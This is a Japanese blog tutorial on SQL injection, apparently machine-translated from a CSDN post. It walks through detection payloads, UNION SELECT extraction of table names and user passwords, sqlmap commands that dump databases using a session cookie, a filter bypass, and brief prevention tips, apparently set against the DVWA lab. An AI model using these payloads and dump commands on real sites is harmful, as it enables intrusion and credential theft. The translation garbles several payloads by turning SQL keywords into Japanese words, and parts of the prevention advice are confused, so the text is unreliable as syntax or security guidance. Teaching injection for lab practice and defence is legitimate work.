【ネットワークセキュリティ】SQLインジェクションの脆弱性を詳しく解説

SQLインジェクションの脆弱性

1. 理解する

SQL インジェクション (SQL インジェクションとも呼ばれる) は、アプリケーション層とデータベース層で発生するセキュリティの脆弱性です。入力文字列に SQL コマンドを挿入します。文字チェックが無視されると、SQL インジェクションの脆弱性が発生し、悪意のあるコマンドが通常の SQL コマンドとして実行されます。

2. 詳しい説明

原因分析: ユーザーがデータのクエリ (映画タイトルの検索など) などの操作を実行するときに、入力が通常のクエリ語ではなく SQL ステートメントである場合、元の SQL ステートメントが変更され、プログラムは正常に動作しません。入力内容を制限すると抜け穴が生じます。


最初の試み:

通常、SQL キーワードを入力して、チェックするステートメントの内容を連結します。


攻撃方法:

1. SQL インジェクションの脆弱性があるかどうかを検出する

入力: クエリ内容' および 1=1#

元のクエリが完了した後、1=1 の判定が実行され、判定が正しい場合のみ出力されます。

#後続のSQL文を削除(コメント化)する役割です

入力: クエリ内容' および 1=2#

2 回の試行 (1=1 は通常の出力、1=2 はエラー出力) により、SQL ステートメントが有効であり、SQL インジェクションの脆弱性があることが証明されます。

2. SQL インジェクションの脆弱性を利用する

列/フィールドの数の判断: order by

入力: クエリ内容の 1# による順序

出力が正常であれば、データベースに少なくとも 1 つの列があることを意味します。

' order by 2# をもう一度入力します...正常な出力がなくなるまで

データベースに何列あるのかを知る

他の情報を共同でクエリします: Union select [sql1] [sql2]

入力: クエリ内容の共用体 select user(),database()#

user(): 現在のデータベース接続ユーザーを返します。

Database(): 現在のデータベース名を返します。

ユニオンルックアップテーブル:

入力: クエリ内容' Union select table_name,table_schema from information_schema.tables where table_schema = 'データベース名'#

データベース内のすべてのテーブルの名前を取得できます

目的のテーブルの内容を読み取ります。

入力: クエリコンテンツの結合体選択ユーザー、ユーザーからのパスワード#

users テーブルのユーザー名とパスワードをクエリできます。


3.SQLmapツール

SQLmap ツールをオンラインで入手するには、公式 Web サイト sqlmap.org にアクセスしてください。

コマンド ライン ウィンドウで使用し、対応するフォルダーに移動し、python sqlmap.py を入力して実行する方法です。

脆弱性を検出します。

python sqlmap.py -u "URL" --cookie="F12 -> [ネットワーク] -> [更新] -> [Cookie の検索] をクリックします。」

すべてのデータベース名を取得します。

python sqlmap.py -u "url" --cookie="" --dbs

dbs :データベースサーバー

指定されたデータベースのすべてのテーブル名を取得します。

python sqlmap.py -u "URL" --cookie="" -D データベース名 --tables

指定されたデータベース列/テーブル項目を取得します。

python sqlmap.py -u "URL" --cookie="" -D データベース名 -T テーブル名 --columns

-D : 取得するデータベース名を指定します。

-T : テーブル名を取得する場合に指定します。

–columns: テーブルのエントリ/列をリストします。

データを取得します:

python sqlmap.py -u "URL" --cookie="" -D データベース名 -T テーブル名 --dump

–dump: データの読み取り


4. SQL脆弱性の防止

ユーザーの入力内容をフィルタリングし、SQL ステートメントの入力を防止します。

特殊記号を空に置き換えるか、ユーザーが SQL ステートメントを入力して実行を終了するかを判断します。

SQL ステートメントを無効にするには、特殊記号の前に / を追加します。

元の SQL ステートメントの最後に、LIMIT 1 などの制限を追加します。

SQL 前処理 PDO を実行します。SQL インジェクションは、適切なフィルタリングと SQL ステートメントを使用して回避できます。


5. バイパス方法

特殊文字は入力しないでください

たとえば、dvwa という名前のデータベース

「dvwa」をdatabase()またはhexに置き換えることができます

例: クエリ内容' Union select table_name,table_schema from information_schema.tables where table_schema = 'データベース名'#

変更: query content Union select table_name,table_schema from information_schema.tables where table_schema = database()#

おすすめ

転載: blog.csdn.net/love_wgll/article/details/129215776